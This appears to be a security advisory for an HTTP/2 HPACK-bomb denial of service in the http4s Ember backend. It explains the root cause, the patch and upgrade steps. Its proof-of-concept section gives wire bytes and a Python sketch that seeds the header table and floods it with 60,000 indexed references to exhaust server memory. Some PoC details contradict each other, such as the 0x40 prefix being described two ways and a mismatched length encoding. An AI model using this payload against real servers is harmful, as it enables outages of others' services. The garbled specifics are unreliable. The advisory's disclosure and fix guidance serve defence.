CVE-2026-54556: http4s-ember-core HTTP/2 HPACK Bomb Denial of Service
http4s servers and clients using the Ember backend with HTTP/2 enabled can be crashed by a remote attacker who sends a crafted stream of compressed headers that expand to gigabytes of memory, causing…

The problem
The Ember backend's HPACK decoder concatenates all HEADER and CONTINUATION frames before decoding. It enforces a maxHeaderSize limit, but that limit only accounts for literal header bytes, not indexed references.
An attacker sends one large literal header to populate the HPACK dynamic table, then floods the same stream with thousands of 1-byte indexed references to that entry. Each reference costs one byte on the wire but forces a full allocation on the server. With roughly five concurrent connections, this exhausts a 2 GB JVM heap and crashes the server with java.lang.OutOfMemoryError: Java heap space.
Both server and client roles are affected. Any Ember deployment exposed to untrusted HTTP/2 traffic is vulnerable, and any Ember client that can be directed to a malicious server is also at risk.
Proof of concept
A working proof-of-concept for CVE-2026-54556 in org.http4s:http4s-ember-core_2.12, with the exact payload below.
# Step 1: seed the HPACK dynamic table with a large literal header
# HEADERS frame (stream 1) -- literal header representation
# Name: "x-bomb", Value: <4096-byte string>
# HPACK literal without indexing (prefix 0x40) adds the entry to the dynamic table
# Wire bytes for seeding (abbreviated; full value is 4096 'a' bytes):
# 40 -- literal header field with incremental indexing
# 86 -- name length 6
# 78 2d 62 6f 6d 62 -- "x-bomb"
# bf 10 -- value length 4096 (variable-length integer)
# 61 61 61 ... (x4096) -- value
# Step 2: flood with 1-byte indexed references to the just-added entry
# Each byte 0xbe (index 62, the entry we just added) is a full header reference.
# Send this in one or more CONTINUATION frames on the same stream:
# be be be be be be be be be be be be be be be be be be be be be ...
# (repeat ~60,000 times per request; ~5 concurrent streams exhaust a 2 GB heap)
# Python sketch using hyper-h2 or hpack library:
import hpack
import struct
encoder = hpack.Encoder()
# Force a large literal entry into the dynamic table
encoder.encode([(':method', 'GET'), (':path', '/'), (':scheme', 'https'),
(':authority', 'target.example.com'),
('x-bomb', 'a' * 4096)]) # seeds table at index 62
# Now craft raw HPACK bytes: 60 000 single-byte indexed references to entry 62
bomb_payload = bytes([0xbe] * 60_000) # 0xbe == 0x80 | 62 (indexed header field)
# Send seeds block in HEADERS frame, then bomb_payload split across CONTINUATION frames
# (standard h2 framing; END_HEADERS only on the final CONTINUATION)
print(f"Seed headers: {len(encoder.encode([(':method','GET')]))} bytes")
print(f"Bomb payload: {len(bomb_payload)} bytes -> decodes to ~{60_000 * 4102} bytes in memory")CWE-400 / CWE-776 (Data Amplification). The root cause is that Hpack.scala tracked decoded size only for literal header fields. Indexed references were decoded and appended to the accumulator List without incrementing the size counter, so the maxHeaderSize guard was never reached regardless of how many references an attacker sent.
The patch (commit 6e8eccd) threads the maxHeaderSize value from the Ember server/client builder all the way into the HPACK decode loop and accumulates the decoded byte count for every header entry, whether literal or indexed. Once the running total crosses maxHeaderSize, the connection is terminated early with a stream error rather than continuing to allocate memory.
This is the same class of bypass seen in CVE-2016-6581 (original HPACK bomb) and CVE-2026-49975 (Apache/NGINX variant): limits applied only to literal sizes are trivially bypassed by reusing previously indexed large values.
The fix
Upgrade to org.http4s:http4s-ember-core_2.12:0.23.35 (or 1.0.0-M47 for the 1.x line). The fix is in commit 6e8eccd64a6a74ab4811897881e95e0e1b3a818e.
If an immediate upgrade is not possible, disable HTTP/2 in your Ember server or client builder. There is no configuration knob in affected versions that limits indexed header amplification without disabling HTTP/2 entirely.
Related research
- high · 7.5CVE-2026-53659CVE-2026-53659: http4k-core Unbounded Gzip Decompression DoS
- high · 8.7CVE-2026-54049CVE-2026-54049: Sakai Conversations Stored XSS via Unsanitized Topic and Post Messages
- critical · 9.8CVE-2026-76904CVE-2026-76904: GeoTools gt-jdbc-postgis Unauthenticated SQL Injection via jsonArrayContains
- highCVE-2026-54251CVE-2026-54251: netty-incubator-codec-ohttp Native Direct-Memory Leak on AEAD Decryption Failure